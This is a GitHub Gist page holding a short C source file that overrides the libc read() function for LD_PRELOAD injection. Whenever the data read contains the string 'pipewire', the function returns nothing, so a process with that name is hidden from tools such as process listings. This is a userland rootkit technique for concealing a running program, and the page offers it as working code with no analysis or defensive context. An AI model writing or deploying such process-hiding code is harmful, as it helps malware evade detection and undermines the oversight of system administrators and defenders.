Last active
October 10, 2022 08:45
-
-
Save affix/a4913fed7a492d3071e339864b1e9aac to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <unistd.h> | |
#include <string.h> | |
#include <dlfcn.h> | |
#define PROC_NAME "pipewire" | |
ssize_t read(int fd, void *buf, size_t count) { | |
ssize_t (*orig_read)(int fd, void *buf, size_t count); | |
ssize_t result; | |
orig_read = dlsym(RTLD_NEXT, "read"); | |
result = orig_read(fd, buf, count); | |
if(strstr(buf, PROC_NAME)) { | |
return 0; | |
} | |
return result; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment